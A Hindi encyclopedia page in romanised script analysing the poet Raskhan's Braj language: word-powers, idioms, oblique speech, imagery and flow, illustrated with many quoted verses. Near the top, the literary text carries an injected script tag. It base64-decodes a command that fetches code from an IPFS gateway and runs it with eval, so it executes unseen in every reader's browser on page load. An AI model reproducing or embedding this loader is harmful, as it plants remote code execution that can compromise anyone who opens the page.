रसखान की भाषा

भारत डिस्कवरी प्रस्तुति
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rasakhan vishay soochi
rasakhan ki bhasha
poora nam saiyyad ibrahim (rasakhan)
janm sanh 1533 se 1558 bich (lagabhag)
janm bhoomi pihani, haradoee zila, uttar pradesh
karm bhoomi mahavan (mathura)
karm-kshetr krishna bhakti kavy
mukhy rachanaean 'sujan rasakhan' aur 'premavatika'
vishay sagun krishnabhakti
bhasha sadharan braj bhasha
vishesh yogadan prakriti varnan, krishnabhakti
nagarikata bharatiy
any janakari bharatendu harishchandr ne jin muslim haribhaktoan ke liye kaha tha, "in musalaman harijanan par kotin hindoo varie" unamean "rasakhan" ka nam sarvopari hai.
inhean bhi dekhean kavi soochi, sahityakar soochi
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rasakhan ki rachanaean
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hindi sahity mean krishna bhakt tatha ritikalin kaviyoan mean rasakhan ka mahattvapoorn sthan hai. rasakhan ko 'ras ki khan' kaha jata hai. inake kavy mean bhakti, shrriangar ras donoan pradhanata se milate haian. rasakhan krishna bhakt haian aur prabhu ke sagun aur nirgun nirakar roop ke prati shraddhalu haian.

rasakhan ki bhasha

solahavian shatabdi mean brajabhasha sahityik asan par pratishthit ho chuki thi. bhakt-kavi sooradas ise sarvadeshik kavy bhasha bana chuke the kintu unaki shakti bhasha saushthav ki apeksha bhav dyotan mean adhik rami. isilie baboo jagannathadas 'ratnakar' brajabhasha ka vyakaran banate samay rasakhan, bihari lal aur ghananand ke kavyadhyayan ko sooradas se adhik mahattv dete haian. bihari ki vyavastha kuchh k di tatha bhasha parimarjit evan sahityik hai. ghananand mean bhasha-saundary unaki 'lakshana' ke karan mana jata hai. rasakhan ki bhasha ki visheshata usaki svabhavikata hai. unhoanne brajabhasha ke sath khilava d n kar usake madhur, sahaj evan svabhavik roop ko apanaya. sath hi bolachal ke shabdoan ko sahityik shabdavali ke nikat lane ka saphal prayas kiya.

shabd-shakti-chamatkar

pratyek shabd ke arth ka bodh shabd ki shakti dvara hota hai. vaiyakaranoan ne 'shabdarth-sambandh: shakti' kahakar isi paribhasha ko sarthak kiya hai. shabd ki shakti hi usaki sarthakata ki dyotak hoti hai. kavy mean abhipsit arth ki spasht abhivyakti ke atirikt, yah bhi avashyak hai ki bhasha mean shishtata, ramaniyata, chamatkarita aur sanvedanashilata ho. rasakhan ki bhasha ki shakti is lakshy ki poorti mean kahaan tak saphal ho saki hai isi ka vivachen prastut shirshak ke antargat kiya gaya hai.

  • shabd shaktiyaan tin mani gee haian-
  1. abhidha- abhidha shakti vah shakti hai jisase saanketik (prasiddh) arth ka avabodh hua karata hai. aur isilie use shabd ki pratham (mukhy) shakti kahate haian. [1]
  2. lakshana- lakshana shakti vah shakti hai jo kahian mukhyarth ke (anvayabodh ke) badhit athava anupapann ho jane par vahaan ek aise arth ka avabodhan karavaya karati hai jo ki mukhyarth se (sarvatha asanbaddh nahian apitu) kisi n kisi roop se sanbaddh to avashy raha karata hai kintu mukhyarth ke svabhav se bhinn svabhav ka hi hua karata hai aur aisa hone ke karan roodhi hai ya prayojan-vivaksha.[2]
  3. vyanjana- vyanjana shakti vah shakti hai jo abhidha adi shaktiyoan ke shaant ho jane par (apane-apane kary kar chukane ke bad kshin samarthy ho jane par) ek aise arth ka avabodhan karaya karati hai jo badhy, lakshyadi roop arthoan se sarvatha ek vilakshan prakar ka arth hua karata hai.[3]

abhidha shakti

rasakhan ke kavy mean bhakti tatha prem sambandhi padyoan mean, vatsaly-varnan mean, sanyog lila tatha roop-chitran ke samany itivrittatmak aanshoan mean abhidha shakti se dyotit vachyarth ki pradhanata svabhavat: hai hi, vishesh bhavapoorn sthaloan par abhidha mean bhi chamatkar ka niroopan hai—

  • bain vahi unako gun gai au kan vahi un bain so sani.[4]
  • sesh sures dines ganes prajes dhanes mahes manavau.[5]
  • des bides ke dekhe naresan rijh ki kooo n boojh karaigo.[6]
  • veee brahm brahma jahi sevat haian rain-din, sadasiv sada hi dharat dhyan gadhe haian.[7]
  • suniye sab ki kahiye n kachhoo rahiye imi ya man-bagar mean.[8]
  • gavaian guni ganika gandharabba au sarad sabai gun gavat.[9] uparyukt panktiyoan mean rasakhan ne abhidha shakti dvara apane man ki abhilasha ko b de sundar dhang se vyakt kiya hai. bhaktipoorn manobhilasha ki is hridayaharini abhivyakti mean chamatkar ka vaisheshty hai.
  • rasakhan ne krishna ke bal-roop ka chitran abhidha ke dvara kiya hai-

aju gee huti bhor hi hauan rasakhani ree vahi nand ke bhaunahian.
vakau jiyau jug lakh karor jasomati ko sukh jat kahyau nahian.
tel lagai lagai kai aanjan bhauanh banai banai dithaunahian.
dali hamelani har niharat varat jyau chuchakarat chhaunahian॥[10]

dhoori bhare ati sobhit syamajoo taisi bani sir sundar choti.
khelat khat phirean aangana pag paijani bajati piri kachhauti.[11]

  • lakshana aur vyanjana ki nibandhana n hone par bhi krishna ke bal sauandary ki abhivyakti nissandeh shaktimati hai-

maiya ki sauan soch katoo mataki utare ko n
goras ke dhare ko n chir chiri dare ko.
yahai du:kh bhari gahai dagar hamari maanjh,
nagar hamare gval bagar hamare ko.[12]

gauraj birajai bhal lahalahi banamal,
age gaiyaan gval gavaian mridu bani ri.
taisi dhuni baansuri ki madhur madhur jaisi,
bank chitavani mand mand musakani ri.

kadam vitap ke nikat tatani ke tat,
ata chadhi chahi pit pata phaharani ri.
ras barasavai tanatapati bujhavai nain,
pranani rijhavai vah avai rasakhani ri.[13]

rasakhan ne padyoan mean abhidha shakti ka prayog kiya hai. aantim pady abhidha ka sundar udaharan hai. rasakhan ke bhakti prem tatha balalila sanbandhi padyoan mean abhidhashakti ke chamatkarapoorn darshan hote haian. unaki pray: sabhi rachanaean rasapoorn ya bhavapoorn haian. atev unake kavy mean abhidha ka ekaant prayog adhik nahian hai. jahaan ras ya bhav ki vyanjana hoti hai vahaan vyanjana-shakti ka astitv svayan siddh hai.

lakshana-shakti

lakshana shabd shakti vah shabd shakti hai jo kahian mukhyarth ke (anvayabodh) badhit ho jane par vahaan ek aise arth ka avabodhan karavaya karati hai, jo mukhyarth se kisi n kisi roop mean sanbandh to avashy raha karata hai, kintu mukhyarth ke svabhav se bhinn svabhav ka hi hua karata hai aur aisa hone ka karan ya to roodhi hai ya prayojan-vivaksha.[14] lakshana shakti ke anek bhedopabhed haian. ham keval pramukh bhedoan ke adhar par rasakhan ke kavy mean prayukt lakshana shakti ka vivechan kareange.

roodhi-lakshana

roodhi-lakshana vah hai jisamean roodhi ke karan mukhyarth ko chho dakar usase sanbandh rakhane vala any arth grahan kiya jay.[15] rasakhan ke kavy mean roodhi-lakshana yatr-tatr mil jati hai. roodhi-lakshana ka saphal prayog kavi ke bhashadhikar ka parichayak hai—

kuanjagali mean ali nikasi tahaan saankare dhota kiyau bhatabheri.
mai ri va mukh ki musakan gayau man boo di phirai nahian phero.
dori liyau drig chori liyo chit darayau hai prem ko phand ghanero.
kaisi karauan ab kyauan nikasauan rasakhani parayau tan roop ko ghero॥[16]

  • 'man boo dane' mean roodhi-lakshana hai. man vastav mean dooba nahian. isaka lakshyarth yah hai ki man krishna ke sauandary ke vashibhoot ho gaya.
  • 'roop ke ghero' ka lakshyarth yah hai ki ek bar dekhane ke bad gopi ka hriday krishna ke svaroop se prabhavit ho gaya hai.
  • bar hi gauras beanchi ri aj tooan maee ke moo d chadhai kat maudi.[17] moo d chadhane mean roodhi lakshan hai.

kalhi parayau murali-dhuni maian rasakhani joo kanan nam hamaro.
ta din te nahian dhir rahyau jag jani layau ati kino panvaro.
gaanvan gaanvan maian ab tau badanam bhee sab sau kai kinaro.
tau sajani phiri kahauan piy mero vahi jag thoanki nagaro.[18]

is pad mean rasakhan ne tin bar roodhi-lakshana ka saphal prayog kiya hai. vastav mean naga da thoanka nahian gaya. kahane ka tatpary yah hai ki bat sab mean prasiddh ho gee hai.

  • kahaan lauan sayani chanda hathan chhipaibo.[19] chandrama ko hath se chhipaya nahian ja sakata. chanda ko chhipane mean lakshyarth bat chhipane se hai. is pankti mean roodhi lakshana ko chamatkarik dhang se vyakt kiya gaya hai.
  • aankh se aankh l di jabahian tab sauan ye rahaian aansuva rang bhini.[20] yahaan aankh l dane ka lakshyarth darshan hone se hai. rasakhan ke kavy mean roodhi lakshana ke anek udaharan milate haian. ye prayog bhav evan bhasha sundar banane mean sahayak hue haian.

prayojanavati lakshana

  • prayojanavati lakshana vah hai jisamean kisi vishesh prayojan ki siddhi ke lie lakshana ki jay.[21]
  • rasakhan ke kavy mean prayojanavati lakshana ke pray: sabhi bhedoan ke darshan hote haian.
  • va chhabi rasakhani bilokat varat kam kala nij koti.[22] krishna-roop ke samane karo doan kamadevoan aur chandrama ke sauandary varane se prayojan krishna ko adhik roopavan siddh karana hai.
  • maian tabahi nikasi ghar tean taki nain bisal ko chot chalaee.[23] chot chalane se prayojan prahar karane se hai. nayanoan ki kataksh-prabhav ka yahaan varnan hai.

aju hi barak 'lehoo dahi' kahi kai kachhu nainan mean bihansi hai.
bairini vahi bhee musakani ju va rasakhani kai pran basi hai.[24]

  • 'nainan mean vihansane' mean shararat ke lakshyarth dvara prayojanavati lakshana hai.
  • bairini mean musakan ke dukhadayi hone ki vyanjana hai.
  • muskan vedana ka karan ban gee.

har hiyaian bhari bhavan sauan pat dine lala vachanamrit bauri.[25]
bachanamrit ka prayojan prem bhare vachanoan se hai.
meri sunau mati ai ali uhaan jauni gali hari gavat hai.
hari laihai bilokat pranan koan puni gadh parean ghar avat hai.
un tan ki tan tani braj maian rasakhani sayan sikhavat hai.
taki pay dharau rapatay nahian vah charo sauan dari phandavat hai.[26]

  • dvitiy pankti mean prayojanavati gauni lakshana hai aur chaturth pankti mean chetavani dvara ki tum murali ki dhvani sunakar phisal n jao, sanbhal kar chalo mean prayojanavati shuddha lakshana hai.

upadan lakshana

jahaan vakyarth ki sangati ke lie any arth ke lakshit kiye jane par bhi apana arth n chhoote vahaan upadan lakshana hoti hai.[27] rasakhan ke kavy mean upadan lakshana ke saphal prayog ke darshan hote haian.

ant te n ayau yahi gaanvare ko jayau
maee bapare jivayau pyai doodh bare bare ko.
soee rasakhani pahivani kani chhaandi chahai,
lochan nachavat nachaiya dvare dvare ko.
maiya ki sauan soch kachhoo mataki utare ko n
goras ke dhare ko n chir chiri dare ko.
yahai du:kh bhari gahai dagar hamari maanjh,
nagar hamare gval bagar hamare ko.[28]

tisari pankti mean upadan lakshana hai. dvar-dvar nachane vala aj hamare samane aankhean nacha raha hai. upadan lakshana se vidit ho raha hai ki vah hamare sath chhal kar raha hai.

lakshanalakshana

  • jahaan vachyarth ki siddhi ke lie vakyarth apane ko chho d kar keval lakshyarth ko soochit kare, yahaan lakshanalakshana hoti hai.[29]
  • pai rasakhani vahi mero sadhan, aur trilok rahau ki nasavau.[30] yahaan trilok se lakshy shesh jo kuchh bhi hai us aishvary ki mujhe kamana nahian. yahaan karyakarak sambandh se lakshanalakshana hai.
  • maangat dan maian an liyo su kiyau nilaji ras joban khayau.[31] 'ras joban' khane ki vastu nahian hai. isaka lakshyarth rati kri da se hai. kam rati ke anand ki vyanjana ki gee hai. vachyarth ke tyag se yahaan lakshanalakshana hai.

jahadajahallakshana

jahaan par kisi shabd ka vachyarth aanshat: svikrit kiya jata hai aur aanshat: badhit hota hai vahaan jahadajahallakshana hoti hai. isi visheshata ke karan ise bhag tyagalakshana bhi kahate haian. rasakhan ke kavy mean jahadajahallakshana ke bhi udaharan milate haian-

ari anokhi bam, tooan aee gaune nee.
bahar dharasi n pam, hai chhaliya tuv tak maian.[32]

'tuv tak mean' dekh raha hai, is vachyarth ke hote hue bhi lakshyarth yah nikal raha hai ki vah tumhean pak dana chahata hai. dhvani yah hai ki tum savadhan ho jao.

nikean nihari kai dekhe n aankhin, hauan kabahooan bhari nain n jagi.
mo pachhitavo yahai ju sakhi ki kalank lagyau par aank n lagi.[33]

jahadajahallakshana ke dvara yah charitarth ho raha hai ki maian badanam bhi huee kintu krishna ke aliangan ka anand bhi nahian prapt hua. rasakhan ke kavy mean lakshana shakti ke anek saphal udaharan milate haian.

vyanjana-shakti

vyanjana-shakti shabd aur arth adi ki vah shakti hai jo abhidha adi shaktiyoan ke shant ho jane par (apane-apane kary kar chukane ke bad kshin samarthy ho jane par) ek aise arth ka avabodhan karaya karati hai jo vadhy, lakshyadiroop arthoan se sarvatha ek vilakshan prakar ka arth hua karata hai.[34] rasakhan ki bhasha paradarshi hai. shabdoan mean nibaddh bhav anubhooti ko moortata pradan karate haian. netroan ke samane ek sajiv chitr khianch jata hai. isake lie rasakhan ne vyanjana shakti ka ashray liya. shaktibhav se bhare hue padoan mean bhi vyanjana dvara apane bhavoan ka sundar niroopan kiya hai-

kaha rasakhani sukhasanpati sumar kaha
kaha tan jogi hvai lagae aang chhar ko.[35]

yahaan yah vyanjit ho raha hai ki samast aishvary aur bahari niyam, vrat adi vyarth haian. arthat unaka sevan nahian karana chahie.

aise hi bhe tau nar kaha rasakhani jau pai,
chit dai n koni priti pit patavare soan॥[36]

vyanjana dvara dhvanit ho raha hai ki krishna-prem ke bina sab chizean vyarth haian.

kahe ko soch karai rasakhani kaha kari hai rabi nand bicharo.
ta khan ja khan rakhiyai makhan chakhanaharau so rakhanaharo॥[37]

yahaan vivakshitany par vachy dhvanit hai. prashnatmak vaky se nakaratmak dhvani yah nikal rahi hai ki rasakhan ko soch karane ki tanik bhi avashyakata nahian hai.

kag ke bhag b de sajani hari-hathh sauan lai gayau makhan-roti.[38] yah vyangy dhvanit ho raha hai ki kauve jaise chhote se pakshi ka itana b da bhagy hai ki vah krishna ke hath se makhan-roti le gaya. mujhe yah saubhagy bhi prapt nahian. [[chitr:raskhan-2.jpg|rasakhan ke dohe, mahavan, mathura|thumb|250px]] kooo n kahoo ki kani karai kachhu chetak so ju kiyau jaduraiya.[39] 'prabhav chetak sauan' maian hai. vastav mean jadoo nahian kiya gaya hai. arthantarasankramitavachy dvara 'so' mean chamatkar hai.

gauras ke mis jo ras chahat so ras kanhajoo neku n paihau.[40] uparyukt panktiyoan mean abhidhamoola vyanjana hai. goras aur jo ras mean aindriy sukh bhog, kamarati ke anand ki vyanjana hai.

haansi maian har harayau rasakhani joo jau kahooan neku taga tuti jaihaian.
ekahi moti ke mol lala sigare braj hatahi hat bikaihaian॥[41]

vaky dhvani yah hai ki yadi hamara har toot gaya to tumhara b da apaman hoga. nayika ke man mean vidyaman krishna vishayak prem ki bhi vyanjana ho rahi hai.

kariyai upay baans dariyai katay
nahian upajaigo baans nahian bajai pheri baansuri.[42]

yahaan lokokti ke adhar par murali ko samool nasht karane ki vyanjana hai.

mohan ke man bhai gayau ik bhai sauan gvalinaian godhan gayau.
takoan lagyau chat, chauhat sauan duri auchak gat soan gat chhuvayau.
rasakhani lahi ini chaturata chupachap rahi jab lauan ghar ayau.
nain nachai chitai musakai su ot hvai jai aangootha dikhayau.[43]

is pad mean gopi ki buddhimani ki vyanjana ho rahi hai. yah krishna ki sab cheshtaoan par chup rahi, kintu ghar ane par usane nayan nachakar muskara kar aangootha dikha diya. yahaan par vyanjana hai ki ab krishna isaka kuchh nahian kar sakate. sath hi gopi ki shararat aur chatury bhi dhvanit ho rahe haian.

navarang anang bhari chhabi sauan vah moorati aankhi g di hi rahai.
batiyaan man ki man hi maian rahai ghatiya ur bich a di hi rahai.
tabahooan rasakhani sujan ali nalinidal booand p di hi rahai.
jiy ki nahian janat hoan sajani rajani aansuvan l di hi rahai.[44]

navarang mean atishay saundary ki jo nity ne roop mean dikhaee deta hai, vyanjana ho rahi hai. 'aankhi hi g di rahai' arthat aankh mean aisi basi hai ki hilati hi nahian hai. aankh mean koee chiz p dane se pi da hoti hai. yahaan krishna prem ke karan kasak ho rahi hai. rajani mean ekant ho jane par sab ke so jane ke uparant ashruoan mean kisi prakar ki badha nahian p dati. yahaan nayika ke rodan ke sath-sath prem ki atishayata ki vyanjana hai.

  • kou rahi putari si khari kou ghat dari kou bat pari joo.[45] yahaan gopiyoan ke kiankartavyavimoodh ho jane ki vyanjana hai.
  • pai kaha karau va rasakhani bilauki hiyau hulasai hulasai hulasai.[46] nayika ke premavashibhoot hone ki vyanjana hai.
  • lakhi nain ki kor katachh chalai kai laj ki gaanthan kholat hai.[47] yahaan lajja ke bandhanoan ko to d dene ki vyanjana hai. usake kataksh ke prabhav se lajja ke bandhan toot ge haian. lajja ki parakashtha ki hridayasparshi abhivyanjana haian.

bhatoo sundar syam siromani mohan johan mean chit chorat hai.
avalokan bank bilokan maian brajabalan ke drig jorat hai.[48]

yahaan prem ke vashibhoot hone ki vyanjana hai.

mohani mohan sauan rasakhani achanak bheant bhee ban mahian.
jeth ki gham bhee sukhadham anand hi aang hi aang samahian.
jivan ko phal payau bhatoo rasabatan keli sauan torat nahian.
kanh ko hath kangha par hai mukh oopar morakirit ki chhahian॥[49]

priy ki nikatata ke karan kashtadayak vastuoan ke sukhad pratit hone ki vyanjana dvitiy pankti mean hai. jeth ki dhoop isalie sukhad pratit ho rahi hai ki garmi mean koee van mean nahian ghoomata. isase nayak-nayika ko ekant mean milane ki suvidha prapt hai. 'aang hi aang samahi' mean pragadh aliangan se utpann atishay sukh ki abhivyakti hai. roopak aur shlesh alankar ke dvara rati ke atishay anand ko kisi bhi prakar badhit nahian karana chahatian. sukh ki parakashtha par pahuanchi huee preyasi ke rati anandatirek ki vyanjana ho rahi hai.

pichaka chalaee aur juvati bhijai neh,
lochan nachai mere aangahi nachai gau.
samahian nachai bhauri nandahi nachai khori
bairin sachai gauri mohi sakuchai gau.[50]

chanchal netroan ka prabhav itana adhik tha ki satvik bhavoan ka uday hone laga. 'bairin sachai' mean pichhale bair ka badala nikalane ki vyanjana hai. pahale kabhi gopi ne krishna-prem ki avahelana ki hogi. 'sakuchane' mean yah vyanjana hai ki log dekhakar bhaanp ge ki usake man mean prem hai. rasakhan ke kavy ka avalokan karane par yah bhali-bhaanti vidit ho jata hai ki rasakhan ne vyanjana shabdashakti ke ashray se uttam koti ke dhvani kavy ki rachana ki. rasakhan dvara 'vyanjana' ke bahudha prayog se bhi yah siddh hota hai ki bhasha par unaka poorn adhikar tha. rasakhan prasoot lakshanik prayogoan aur dhvanyatmak abhivyanjana shaili ki samyak pratiti n hone ke karan hi hindi ke ek alochak ne unake kavy ko abhidhakavy mana hai.[51] uparyukt vivechan se yah spashtataya siddh hai ki unaki yah manyata sarvatha asangat hai.

rasakhan ke kavy mean prayukt shabd shaktiyoan ke uparyukt vivechan se yah spasht nishkarsh nikalata hai ki unhoanne sthan-sthan par kavy chamatkar ko utkarsh pradan karane vali lakshana aur vyanjana ka upayukt prayog kiya hai. unaki bhasha ke dharavahik aur prasad-gun poorn bahy roop ke karan anek alochakoan ko yah bhraanti ho gee hai ki ve avidha ke kavi haian. tatvat: abhidha aur prasad mean koee virodh nahian hai. jatilata n hote hue bhi rasakhan ki rachanaoan mean uparyukt shabd-shaktiyoan ka chamatkar asandigdh hai.

rasakhan ki bhasha mean muhavaroan aur lokoktiyoan ka prayog

muhavaroan ke prayog se bhasha sashakt evan sajiv ho jati hai. janata ke sampark mean rahane vale lekhak ki bhasha mean muhavare svabhavat: adhik hote haian. muhavare bhasha ki svabhavikata ke parichayak haian. jis lekhak ya kavi ki bhasha mean jitane adhik muhavare hoange utana hi usaka bhasha par adhikar mana jaega. rasakhan ki bhasha mean muhavare bahut milate haian. unhoanne apani bhasha mean muhavaroan ka bahut hi sahaj roop mean prayog kiya hai, jisase unaka lok-prachalit bhasha par visheshadhikar soochit hota hai. sajiv aur prachalit muhavaroan se alankrit bhasha vishesh shaktimati ho gayi hai. rasakhan ke kavy mean muhavaroan ke saphal prayog ki nibandhana milati hai. kahian bhi aisi pratit nahian hota ki kavi ne saprayas unako apane kavy mean thooansane ka prayatn kiya hai. muhavaroan dvara rasakhan ne apani bat ki pushti b de sundar dhang se ki hai. kahian-kahian ek hi pankti mean ek se adhik muhavare prayukt kie haian jisase unaki bhasha mean marmik prabhavashilata a gee hai. muhavare roopi naginoan ko rasakhan ne itane sundar dhang se j da hai ki ek bhi nagina nikalane par pad roopi abhooshan ki kaanti kshin ho jati hai.

at: sankshep mean kaha ja sakata hai ki rasakhan ki bhasha mean muhavare sahaj riti se prayukt hue haian jisase arth vyanjana ke sath-sath bhasha-sauandary ki svabhavik abhivriddhi huee hai. rasakhan ne muhavaroan ke roop biga dane ka prayatn nahian kiya. isaka suparinam yah hua hai ki unaki bhasha ki subodhata aur svachchhata sarvatr hi bani rahati hai.

ukti-vaichitry aur vakrokti-vidhan

vastav mean ukti vaichitry aur vakrokti ka sambandh kavi ki chamatkarik abhivyakti se hai. achary kuntak ne isi se vakrokti ko sab kuchh manakar use kavy ke pran ke roop mean svikar kiya hai. any acharyoan ne vakrokti ko alankar ke antargat rakha hai.[52] rasakhan ke kathan mean vakrata kam milati hai, kyoanki unaki kavy shakti kathan pranali ke chamatkar utpadan mean vyay n hokar bhavabhivyanjana mean lagi hai. svabhavat: kuchh vakroktiyoan ki nibandhana ho gee hai—

  • goras ke mis jo ras chahat so ras kanhajoo neku n paihau.[53] yahaan gopi ke kathan ki vakrata darshaniy hai. *krishna ke dadhi maangane ke bahane gopiyoan se chhe d-chha d karane par gopi kahati hai-'jaihai jo bhooshan kahoo tiya ko tau mol chhala ke lala n bikaihau'.[54]
  • bhramaragit-prasang ke antargat gopiyaan vakrokti ke dvara uddhav se kahati haian—'kare bisare kau chahaian utarayau are vish bavare rakh lagaee kai'.[55] vakrokti dvara gopiyoan ke shabdoan se yah dhvanit ho raha hai ki tum kitane bhi upay kar lo kintu krishna ke prabhav evan prem ko hamase alag nahian kar sakate. sooradas ki gopiyaan vagvaidagdhy ke lie prasiddh haian. unaki uktiyaan uddhav ko nat mastak kar deti haian. ve poochh baithati haian, 'uddhav tum kaun desh ke vasi' tatha 'madhuvan tum kit rahat hare'. rasakhan ki gopiyaan bhi ukti vaichitry mean kisi se kam nahian haian. sambhavat: rasakhan ke kavy mean ukti vaichitry ki marmikata ko dekhakar hi 'd aau. savitri sinha' ji ne kaha hai- rasakhani ke vaidagdhy mean dhvani ki apeksha ukti vaichitry adhik hai.[56] gopiyaan krishna ke salone roop aur baanki ada se prabhavit haian. krishna ka saundary n dekhate banata hai n kahate. lok laj ki chinta n karake krishna ko samarpan karana chahati hai kintu lajja a jane se kam kharab ho jata hai yahaan usi ka pashchattap ho raha hai-

aju ri nandalala nikasyau tulasiban tean banakean musakato.
dekhean banai n banai kahate ab so sukh jo mukh mean n samato.
hauan rasakhani bilokibe kauan kulakani ke kaj kiyau hiy hato.
aee gee alabeli alanak e bhatoo laj ko kaj kaha to॥[57]

  • kishoravastha ki or badhati huee balika ki bhavanaoan mean vay:sandhi sthiti ki alh data aur chanchalata ki dhvani is pad mean milati hai—

bairini tooan baraji n rahai abahian ghar bahir bairu badhegau.
tona su nand dhutona padhai sajani tuhi dekhi viseshi padhaigau.
hasi hai sakhi gokul gaanv sabaian rasakhani tabai yah lok radhaigau.
bais chadhe gharahian rahi baithi ata n chadhe badanam chadhaigau॥[58]

  • sapatni jvala se apane ap mean hi jalati huee abala ki vivash bhavanaoan ki ukti vaichitry ke dvara sundar abhivyakti huee hai—

sautin bhag badhyau braj mean jin lootat haian nisi rang ghaneri.
mo rasakhani likhi bidhana man mari kai apu bani hauan aheri.[59]

yahaan ukti ki vakrata anupam hai, isamean goodh vyangy chhipa hua hai. rasakhan ke kavy mean hamean sundar uktiyoan ka niroopan milata hai. nimnaankit panktiyoan mean sakhi ki vakrokti muhavare ke prayog se aur prabhavotpak ho gee hai—

ari anokhi vam too aee gaune nee.
bahar dharasi n pam hai chhaliya tub tak mean॥[60]

svabhavikata evan chitratmakata

rasakhan ki bhasha ki b di visheshata usaki svabhavikata hai. unhoanne shabdoan ko to d-maro dakar durooh banane ka prayas nahian kiya. unaki bhasha sukumar tatha saral hai, sath hi bhavabhivyakti mean sahayak hai. pathak ko door ki kau di nahian lani p dati—

va lakuti aru kamariya par raj tihooan pur ko taji darauan.
athahuan siddhi nayauan nidhi ko sukh nand ki gay charai bisarauan.
e rasakhani jabai in nainan te braj ke ban bag niharauan.
kotik ye kaladhaut ke dham karil ki kuanjan oopar varauan.[61]

svabhavik shabdavali ke prayog se rasakhan ki bhasha gatimayi ho gee hai. gopiyoan ki samast uktiyaan svabhavik bhasha mean milati haian. prem ke gambhir tattvoan ke niroopan mean bhi rasakhan svabhavikata ka daman nahian chho date. kahian aisa pratit nahian hota ki rasakhan saprayas rachana kar rahe haian. unaka ek-ek pady unake ant:sthal ki anubhooti ki sakar pratima hota hai nimn pady mean krishna ki rasili musakan katili chitavan, bank vilokan, aminidh bain, baansuri ki madhur dhvani dvara prabhavit, gopi ki dasha ki marmik abhivyakti svabhavik bhasha mean huee hai.

baanki bilokani rang bhari rasakhani khari musakani suhaee.
bolat bol aminidhi chain maharas-ain sunean sukhadaee.
sajani pur-bithin mean piy-gohan lagi phiraian jit hi tit dhaee.
baansuri teri sunai ali apanai lee braj raj kanhaee.[62]

antim pankti ki svabhavikata darshaniy hai. rasakhan ke kavy mean kathor shabdoan ka abhav hai. koman evan saral shabdoan ke prayog ne unaki bhasha ko aur bhi svabhavik bana diya hai. kahian-kahian 'tavarg' ka bhi prayog milata hai kintu vah bhi bhavabhivyakti mean sahayak hua hai.

vah gherani dhenu aber saberani pherani lala lakuttani ki.
vah tichhan chachchhu kataban ki chhabi morani bhauanh bhrikuttani ki.
vah lal ki chal chubhi chit mean rasakhani sangit ughattani ki.
vah pit patakkani ki chatakani latakkani mor mukuttani ki॥[63]

[[chitr:raskhan-3.jpg|rasakhan ki samadhi, mahavan, mathura|thumb|250px]] sankshep mean kaha ja sakata hai ki rasakhan ki bhasha bhavanukool saras, svabhavik evan saral hai. arth ko samajhane ko door ki kau di nahian lani p dati n hi mastishk evan buddhi ko vyayam ki avashyakata pratit hoti hai. kavi sahaj dhang se man mean uthe vibhinn bhavoan ki abhivyakti saras evan svabhavik bhasha ke madhyam se karata hai. rasakhan ne apani bhasha mean karkash shabdoan ka prayog n karake use durooh hone se bacha liya. usamean brajabhasha ki sahityik shabdavali ke sath-sath lok bhasha ya braj boli ki svabhavik shabdavali ke bhi darshan hote haian. rasakhan ki bhasha ki visheshata usaki chitratmakata hai. shabdoan ko is prakar sanjoya hai ki hamare samane ek drishy upasthit kar dete haian. rasakhan ne alamban ki cheshtaoan ka niroopan karate hue svatantr shabd chitroan ka nirman adhik kiya hai. alankarik chitr unake kavy mean kam milate haian.

  • krishna ke van se gay chara kar vapis ate samay ka chitran dekhie—

goraj birajai bhal lahalahi banamal,
age gaiyaan pachhe gval gavai mridu bani ri.
taisi dhuni baansuri ki madhur, jaisi
bank chitavani mand mand musakani ri.
kadam bitap ke nikat tatani ke tat
ata chadhi chahi pit pat phaharani ri.
ras barasavai tap-tapati bujhavai nain
pranani rijhavai vah avai rasakhani ri॥[64]

  • prakritik upadanoan ki sahayata se radha ke roop ka varnan rasakhan ne chitratmak dhang se kiya hai—

ati lal gulal dukool te phool, ali ali kuntal rajat hai.
makhatool saman ke guanj chharani mean kiansuk ki chhabi chhajat hai.
mukata ke kadanb te aanb ke mor, sune sur kokil lajat hai.
yah avani pyari ju rasakhani basant-si aj birajat hai.[65]

  • rasakhan ne rasalila ka varnan bhi b di chitratmak bhasha mean kiya hai, in chitroan mean bhavoan ki pradhanata hai. sajivata aur pranavatta ki drishti se usaki tulana any kaviyoan ke ras-chitran se nahian ki ja sakati. parantu usamean nihit saral snigdhata mean svabhavik akarshan hai; jaise—

aj bhatoo muralibat ke tat nand ke saanvare ras rachyau ri.
nainani sainani bainani soan nahian kooo manohar bhav bachyau ri.
jadyapi rakhan kauan kulakani sabai brajabalan pran pachyau ri.
tadyapi va rasakhani ke hath bikani kauan ant lachyau pai lachyau ri.[66]

is prakar rasakhan ki bhasha mean chitratmak shabdavali ki yojana milati hai jo bhav ki saphal tatha sahaj abhivyakti mean sahayak hai.

dharavahikata

  • rasakhan ki bhasha ki sabase b di visheshata usaki dharavahikata hai. arth par dhyan diye bina bhi inake savaiyoan ko padhane se ek prakar ka anand milata hai. is anand ka karan prasann padavali bhasha hai. unhoanne shabdoan ko kushalata se sanjoya hai ki unamean anavaruddh spandan evan gati hai. 'lal lasaian pag paanvariya[67] 'de gayo bhakto bhaanvariya' mean 'pauri', 'bhauanri' ke sthan par 'paanvariya' , 'bhaanvariya' hone se bhasha mean svabhavik pravah a gaya hai.

guanj garean sir maur pakha aru chal gayand ki mo man bhavai.
saanvaro nand kumar sabai brajamandali mean brajaraj kahavai.
saj samaj sab sirataj au chhaj ki bat nahian kahi avai.
tahi ahir ki chhohariyaan chhachhiya bhari chhachh pai nach nachavaian॥[68]

  • rasakhan pravahamayi bhasha ke prayog mean saphal hue haian. unaki bhasha ka pravah aur gatimayata kushal kala ki parichayak hai. ek ke bad doosara shabd dharavahikata ke sath sanjoya hua pratit hota hai. nimnalikhit pad mean rasakhan ki bhasha ki pravahamayi gati dekhane yogy hai—

nav rang anang bhari chhabi sauan vah moorati aankhi g di hi rahai.
batiya man ki man hi mean rahai, chhatiya ur bich a di hi rahai.
tabahooan rasakhani sujan ali nalini dal booand p di hi rahai.
jiy ki nahian janat hauan sajani rajani aansuvan l di hi rahai॥[69]

